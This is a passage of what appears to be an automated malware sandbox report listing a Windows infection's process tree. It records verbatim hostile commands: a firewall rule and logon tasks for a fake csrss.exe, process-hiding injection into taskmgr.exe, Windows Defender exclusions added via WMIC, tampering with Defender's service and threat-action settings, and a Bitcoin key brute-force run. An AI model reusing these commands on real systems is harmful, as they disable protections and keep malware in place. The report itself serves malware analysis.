                                                    PID:6456
                                              • C:\Users\Admin\AppData\Local\Temp\u4kc.3.exe
                                                "C:\Users\Admin\AppData\Local\Temp\u4kc.3.exe"
                                                5⤵
                                                • Executes dropped EXE
                                                • Checks SCSI registry key(s)
                                                PID:6148
                                            • C:\Users\Admin\Pictures\dmEI6Yd6Rru8Wzawq7HvvEkD.exe
                                              "C:\Users\Admin\Pictures\dmEI6Yd6Rru8Wzawq7HvvEkD.exe"
                                              4⤵
                                              • Executes dropped EXE
                                              PID:5148
                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -nologo -noprofile
                                                5⤵
                                                • Suspicious behavior: EnumeratesProcesses
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:4508
                                              • C:\Users\Admin\Pictures\dmEI6Yd6Rru8Wzawq7HvvEkD.exe
                                                "C:\Users\Admin\Pictures\dmEI6Yd6Rru8Wzawq7HvvEkD.exe"
                                                5⤵
                                                • Executes dropped EXE
                                                • Checks for VirtualBox DLLs, possible anti-VM trick
                                                PID:7152
                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell -nologo -noprofile
                                                  6⤵
                                                  • Drops file in System32 directory
                                                  • Modifies data under HKEY_USERS
                                                  PID:4864
                                                • C:\Windows\System32\cmd.exe
                                                  C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                                  6⤵
                                                    PID:2288
                                                    • C:\Windows\system32\netsh.exe
                                                      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                                      7⤵
                                                      • Modifies Windows Firewall
                                                      • Modifies data under HKEY_USERS
                                                      PID:6968
                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -nologo -noprofile
                                                    6⤵
                                                    • Drops file in System32 directory
                                                    • Modifies data under HKEY_USERS
                                                    PID:5780
                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -nologo -noprofile
                                                    6⤵
                                                      PID:6936
                                                    • C:\Windows\rss\csrss.exe
                                                      C:\Windows\rss\csrss.exe
                                                      6⤵
                                                        PID:2980
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell -nologo -noprofile
                                                          7⤵
                                                            PID:7000
                                                          • C:\Windows\SYSTEM32\schtasks.exe
                                                            schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                                            7⤵
                                                            • Creates scheduled task(s)
                                                            PID:2172
                                                          • C:\Windows\SYSTEM32\schtasks.exe
                                                            schtasks /delete /tn ScheduledUpdate /f
                                                            7⤵
                                                              PID:5572
                                                              • C:\Windows\System32\Conhost.exe
                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                8⤵
                                                                  PID:5316
                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell -nologo -noprofile
                                                                7⤵
                                                                  PID:6152
                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell -nologo -noprofile
                                                                  7⤵
                                                                    PID:5180
                                                                  • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                                                                    C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                                                                    7⤵
                                                                      PID:5876
                                                                      • C:\Windows\System32\Conhost.exe
                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                        8⤵
                                                                          PID:6840
                                                                      • C:\Windows\SYSTEM32\schtasks.exe
                                                                        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                                                        7⤵
                                                                        • Creates scheduled task(s)
                                                                        PID:304
                                                                        • C:\Windows\System32\Conhost.exe
                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                          8⤵
                                                                            PID:6828
                                                                        • C:\Windows\windefender.exe
                                                                          "C:\Windows\windefender.exe"
                                                                          7⤵
                                                                            PID:4872
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                                                              8⤵
                                                                                PID:2080
                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                  sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                                                                  9⤵
                                                                                  • Launches sc.exe
                                                                                  PID:5808
                                                                      • C:\Users\Admin\Pictures\VFwlIcO3TLnhxyzoT39VdShR.exe
                                                                        "C:\Users\Admin\Pictures\VFwlIcO3TLnhxyzoT39VdShR.exe"
                                                                        4⤵
                                                                        • Executes dropped EXE
                                                                        PID:5652
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell -nologo -noprofile
                                                                          5⤵
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:5128
                                                                          • C:\Windows\System32\Conhost.exe
                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                            6⤵
                                                                              PID:4836
                                                                          • C:\Users\Admin\Pictures\VFwlIcO3TLnhxyzoT39VdShR.exe
                                                                            "C:\Users\Admin\Pictures\VFwlIcO3TLnhxyzoT39VdShR.exe"
                                                                            5⤵
                                                                            • Executes dropped EXE
                                                                            • Checks for VirtualBox DLLs, possible anti-VM trick
                                                                            PID:3128
                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell -nologo -noprofile
                                                                              6⤵
                                                                              • Drops file in System32 directory
                                                                              • Modifies data under HKEY_USERS
                                                                              PID:6424
                                                                            • C:\Windows\System32\cmd.exe
                                                                              C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                                                              6⤵
                                                                                PID:5988
                                                                                • C:\Windows\system32\netsh.exe
                                                                                  netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                                                                  7⤵
                                                                                  • Modifies Windows Firewall
                                                                                  PID:872
                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                powershell -nologo -noprofile
                                                                                6⤵
                                                                                • Modifies data under HKEY_USERS
                                                                                PID:6340
                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                powershell -nologo -noprofile
                                                                                6⤵
                                                                                  PID:4600
                                                                            • C:\Users\Admin\Pictures\naimSONKsc9FChWoht6fbieC.exe
                                                                              "C:\Users\Admin\Pictures\naimSONKsc9FChWoht6fbieC.exe" --silent --allusers=0
                                                                              4⤵
                                                                              • Executes dropped EXE
                                                                              • Loads dropped DLL
                                                                              • Enumerates connected drives
                                                                              PID:6352
                                                                              • C:\Users\Admin\Pictures\naimSONKsc9FChWoht6fbieC.exe
                                                                                C:\Users\Admin\Pictures\naimSONKsc9FChWoht6fbieC.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.68 --initial-client-data=0x2a0,0x2a4,0x2a8,0x27c,0x2ac,0x68a9e1d0,0x68a9e1dc,0x68a9e1e8
                                                                                5⤵
                                                                                • Executes dropped EXE
                                                                                • Loads dropped DLL
                                                                                PID:6400
                                                                              • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\naimSONKsc9FChWoht6fbieC.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\naimSONKsc9FChWoht6fbieC.exe" --version
                                                                                5⤵
                                                                                • Executes dropped EXE
                                                                                • Loads dropped DLL
                                                                                PID:6556
                                                                            • C:\Users\Admin\Pictures\9mN3j3RDaxourkyGE6B9pIYQ.exe
                                                                              "C:\Users\Admin\Pictures\9mN3j3RDaxourkyGE6B9pIYQ.exe"
                                                                              4⤵
                                                                              • Modifies firewall policy service
                                                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                              • Checks BIOS information in registry
                                                                              • Executes dropped EXE
                                                                              • Checks whether UAC is enabled
                                                                              • Drops file in System32 directory
                                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                              PID:6952
                                                                            • C:\Users\Admin\Pictures\b9uB7O3xJC6O2Xv1Ebf6OnL2.exe
                                                                              "C:\Users\Admin\Pictures\b9uB7O3xJC6O2Xv1Ebf6OnL2.exe"
                                                                              4⤵
                                                                              • Executes dropped EXE
                                                                              PID:5792
                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCB8.tmp\Install.exe
                                                                                .\Install.exe /RvdidblCuX "385118" /S
                                                                                5⤵
                                                                                • Checks BIOS information in registry
                                                                                • Executes dropped EXE
                                                                                • Enumerates system info in registry
                                                                                PID:6328
                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                  "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                                                                  6⤵
                                                                                    PID:5640
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                      7⤵
                                                                                        PID:6212
                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                          powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                          8⤵
                                                                                            PID:5908
                                                                                            • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                              "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                              9⤵
                                                                                                PID:5448
                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                          schtasks /CREATE /TN "bWycNackLSywaqkmgR" /SC once /ST 22:32:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\rexCQup.exe\" em /CQsite_idsna 385118 /S" /V1 /F
                                                                                          6⤵
                                                                                          • Drops file in Windows directory
                                                                                          • Creates scheduled task(s)
                                                                                          PID:6632
                                                                                • C:\Users\Admin\AppData\Local\Temp\1000208001\install.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\1000208001\install.exe"
                                                                                  2⤵
                                                                                  • Executes dropped EXE
                                                                                  • Drops file in Program Files directory
                                                                                  PID:5428
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameServerClient\installg.bat" "
                                                                                    3⤵
                                                                                      PID:5936
                                                                                      • C:\Windows\SysWOW64\sc.exe
                                                                                        Sc delete GameServerClient
                                                                                        4⤵
                                                                                        • Launches sc.exe
                                                                                        PID:5868
                                                                                      • C:\Program Files (x86)\GameServerClient\GameService.exe
                                                                                        GameService remove GameServerClient confirm
                                                                                        4⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:5216
                                                                                      • C:\Program Files (x86)\GameServerClient\GameService.exe
                                                                                        GameService install GameServerClient "C:\Program Files (x86)\GameServerClient\GameServerClient.exe"
                                                                                        4⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:2212
                                                                                      • C:\Program Files (x86)\GameServerClient\GameService.exe
                                                                                        GameService start GameServerClient
                                                                                        4⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:4564
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameServerClient\installc.bat" "
                                                                                      3⤵
                                                                                        PID:5396
                                                                                        • C:\Windows\SysWOW64\sc.exe
                                                                                          Sc delete GameServerClientC
                                                                                          4⤵
                                                                                          • Launches sc.exe
                                                                                          PID:3128
                                                                                        • C:\Program Files (x86)\GameServerClient\GameService.exe
                                                                                          GameService remove GameServerClientC confirm
                                                                                          4⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:5772
                                                                                        • C:\Program Files (x86)\GameServerClient\GameService.exe
                                                                                          GameService install GameServerClientC "C:\Program Files (x86)\GameServerClient\GameServerClientC.exe"
                                                                                          4⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:376
                                                                                        • C:\Program Files (x86)\GameServerClient\GameService.exe
                                                                                          GameService start GameServerClientC
                                                                                          4⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:4836
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
                                                                                        3⤵
                                                                                          PID:5132
                                                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                                                        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
                                                                                        2⤵
                                                                                        • Blocklisted process makes network request
                                                                                        • Loads dropped DLL
                                                                                        PID:6112
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                      1⤵
                                                                                        PID:6132
                                                                                      • \??\c:\windows\system32\svchost.exe
                                                                                        c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                                                                        1⤵
                                                                                          PID:6140
                                                                                        • C:\Program Files (x86)\GameServerClient\GameService.exe
                                                                                          "C:\Program Files (x86)\GameServerClient\GameService.exe"
                                                                                          1⤵
                                                                                          • Executes dropped EXE
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          PID:5764
                                                                                          • C:\Program Files (x86)\GameServerClient\GameServerClient.exe
                                                                                            "C:\Program Files (x86)\GameServerClient\GameServerClient.exe"
                                                                                            2⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:5464
                                                                                          • C:\Program Files (x86)\GameServerClient\GameServerClient.exe
                                                                                            "C:\Program Files (x86)\GameServerClient\GameServerClient.exe"
                                                                                            2⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:5516
                                                                                          • C:\Program Files (x86)\GameServerClient\GameServerClient.exe
                                                                                            "C:\Program Files (x86)\GameServerClient\GameServerClient.exe"
                                                                                            2⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:4752
                                                                                          • C:\Program Files (x86)\GameServerClient\GameServerClient.exe
                                                                                            "C:\Program Files (x86)\GameServerClient\GameServerClient.exe"
                                                                                            2⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:2436
                                                                                          • C:\Program Files (x86)\GameServerClient\GameServerClient.exe
                                                                                            "C:\Program Files (x86)\GameServerClient\GameServerClient.exe"
                                                                                            2⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:5632
                                                                                          • C:\Program Files (x86)\GameServerClient\GameServerClient.exe
                                                                                            "C:\Program Files (x86)\GameServerClient\GameServerClient.exe"
                                                                                            2⤵
                                                                                              PID:4024
                                                                                            • C:\Program Files (x86)\GameServerClient\GameServerClient.exe
                                                                                              "C:\Program Files (x86)\GameServerClient\GameServerClient.exe"
                                                                                              2⤵
                                                                                                PID:5768
                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                2⤵
                                                                                                  PID:4492
                                                                                                • C:\Program Files (x86)\GameServerClient\GameServerClient.exe
                                                                                                  "C:\Program Files (x86)\GameServerClient\GameServerClient.exe"
                                                                                                  2⤵
                                                                                                    PID:5932
                                                                                                  • C:\Program Files (x86)\GameServerClient\GameServerClient.exe
                                                                                                    "C:\Program Files (x86)\GameServerClient\GameServerClient.exe"
                                                                                                    2⤵
                                                                                                      PID:6044
                                                                                                    • C:\Program Files (x86)\GameServerClient\GameServerClient.exe
                                                                                                      "C:\Program Files (x86)\GameServerClient\GameServerClient.exe"
                                                                                                      2⤵
                                                                                                        PID:7044
                                                                                                    • C:\Program Files (x86)\GameServerClient\GameService.exe
                                                                                                      "C:\Program Files (x86)\GameServerClient\GameService.exe"
                                                                                                      1⤵
                                                                                                      • Executes dropped EXE
                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                      PID:5824
                                                                                                      • C:\Program Files (x86)\GameServerClient\GameServerClientC.exe
                                                                                                        "C:\Program Files (x86)\GameServerClient\GameServerClientC.exe"
                                                                                                        2⤵
                                                                                                        • Executes dropped EXE
                                                                                                        PID:2052
                                                                                                      • C:\Program Files (x86)\GameServerClient\GameServerClientC.exe
                                                                                                        "C:\Program Files (x86)\GameServerClient\GameServerClientC.exe"
                                                                                                        2⤵
                                                                                                        • Executes dropped EXE
                                                                                                        PID:5708
                                                                                                        • C:\Windows\Temp\647350.exe
                                                                                                          "C:\Windows\Temp\647350.exe" --coin BTC -m ADDRESSES -t 0 --range 3ff830d86c0000000:3ff830d8700000000 -o xxx0.txt -i C:\Windows\Temp\curjob.bin
                                                                                                          3⤵
                                                                                                          • Executes dropped EXE
                                                                                                          PID:6872
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
                                                                                                      C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
                                                                                                      1⤵
                                                                                                      • Executes dropped EXE
                                                                                                      PID:2400
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\rexCQup.exe
                                                                                                      C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\rexCQup.exe em /CQsite_idsna 385118 /S
                                                                                                      1⤵
                                                                                                      • Executes dropped EXE
                                                                                                      PID:5920
                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                        powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                                                                        2⤵
                                                                                                        • Drops file in System32 directory
                                                                                                        • Modifies data under HKEY_USERS
                                                                                                        PID:2364
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                          3⤵
                                                                                                            PID:304
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                              4⤵
                                                                                                                PID:6364
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                                                              3⤵
                                                                                                                PID:1532
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                                                                3⤵
                                                                                                                  PID:6396
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                                                                  3⤵
                                                                                                                    PID:3156
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                                                    3⤵
                                                                                                                      PID:6540
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                                                      3⤵
                                                                                                                        PID:7048
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                                                        3⤵
                                                                                                                          PID:6916
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                                                          3⤵
                                                                                                                            PID:2228
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                                                                            3⤵
                                                                                                                              PID:2468
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                                                              3⤵
                                                                                                                                PID:5844
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                                                                3⤵
                                                                                                                                  PID:3828
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                                                                  3⤵
                                                                                                                                    PID:6468
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                                                                    3⤵
                                                                                                                                      PID:6720
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                                                                      3⤵
                                                                                                                                        PID:5080
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                                                        3⤵
                                                                                                                                          PID:4516
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                                                          3⤵
                                                                                                                                            PID:1644
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                                                                            3⤵
